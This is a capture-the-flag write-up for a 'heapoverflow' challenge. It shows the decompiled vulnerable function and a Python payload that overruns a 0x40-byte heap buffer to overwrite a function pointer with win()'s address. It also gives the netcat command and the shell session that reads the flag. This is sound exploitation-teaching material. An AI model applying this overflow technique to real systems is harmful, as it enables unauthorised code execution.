Heap Overflow Hijack Challenge 1

Overview

The `heapoverflow` binary allocates two chunks of memory on the heap: one for your input, and one that contains something else.

Objective

The goal is to exploit the overflow to overwrite a nearby function pointer in memory and hijack control flow to execute the hidden win() function, which, if called, will spawn a shell that can be used to retrieve the challenge flag.

Ghidra

Using Ghidra, the vulnerability was clear. In the `vuln()` function, `__buf` points to a 0x40-byte heap allocation, while `plVar1` points to a subsequent 8-byte heap allocation. Because `read()` accepts up to 0x80 bytes into the 0x40-byte buffer, input can overflow the first allocation and overwrite the contents of the second allocation. Those contents are later dereferenced as a function pointer, allowing control flow to be redirected to `win()`.

`Vuln()` function:

```
void vuln(void)

{
  void *__buf;
  long *plVar1;
  _func_void_varargs **b;
  char *a;

  __buf = __libc_malloc(0x40);
  plVar1 = (long *)__libc_malloc(8);
  *plVar1 = 0;
  __printf("Enter data: ");
  read(0,__buf,0x80);
  __printf("You entered: %s\n",__buf);
  if (*plVar1 != 0) {
    (*(code *)*plVar1)();
  }
  return;
}
```

The ELF is type EXEC rather than PIE, so the virtual address of win() is fixed. Ghidra identifies win() at 0x400668, which can therefore be written directly into the overwritten function pointer.

`win()`:

```
                             win
XREF[2]:     Entry Point(*), 00481c20(*)
                             heapoverflow.c:7 (8)
        00400668 fd 7b bf a9     stp        x29,x30,[sp, #local_10]!
        0040066c fd 03 00 91     mov        x29,sp
                             heapoverflow.c:8 (12)
        00400670 20 03 00 b0     adrp       x0,0x465000
        00400674 00 60 3c 91     add
x0=>s_Spawning_Shell_00465f18,x0,#0xf18          = "Spawning Shell"
        00400678 72 04 00 94     bl         __printf
int __printf(char * __format, ...)
                             heapoverflow.c:9 (12)
        0040067c 20 03 00 b0     adrp       x0,0x465000
        00400680 00 a0 3c 91     add
x0=>s_/usr/bin/sh_00465f28,x0,#0xf28             = "/usr/bin/sh"
        00400684 50 04 00 94     bl         __libc_system
int __libc_system(char * __comma
                             heapoverflow.c:10 (12)
        00400688 1f 20 03 d5     nop
        0040068c fd 7b c1 a8     ldp        x29=>local_10,x30,[sp], #0x10
        00400690 c0 03 5f d6     ret
```

Exploit Design

The exploit design is straightforward. Because this target uses 64-bit glibc malloc, the next heap chunk has a 0x10-byte chunk header before its user area. Therefore, the second allocation's user pointer is 0x50 bytes after the start of the first 0x40-byte user buffer: 0x40 bytes of data followed by 0x10 bytes of allocator metadata.

Exploit Code

The following Python code creates the exploit payload to pipe through Netcat:

```python
#!/usr/bin/env python3

import struct

win = 0x400668

payload = b"A" * 0x50
payload += struct.pack("<Q", win)

with open("payload.bin", "wb") as f:
    f.write(payload)

print(f"payload length: {len(payload)} bytes")
print(payload.hex())
```

Exploitation Process

1. Execute the Python script to get `payload.bin`.
2. `cat payload.bin - | nc localhost 1337`

> **Note:** The `-` is useful here: after cat sends `payload.bin`, it keeps reading from your terminal. That's important because win() launches /usr/bin/sh; you want stdin to remain open so you can type shell commands afterward.

Successful Result

Successful spawning of the shell and cat of the flag.

```
% cat payload.bin - | nc localhost 1337
Enter data: You entered:
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAh@
Spawning Shell
pwd
/home/ctf
ls
flag.txt
heapoverflow
cat flag.txt
CTF{ps8EXJtt706a0bp3lWVLw}
```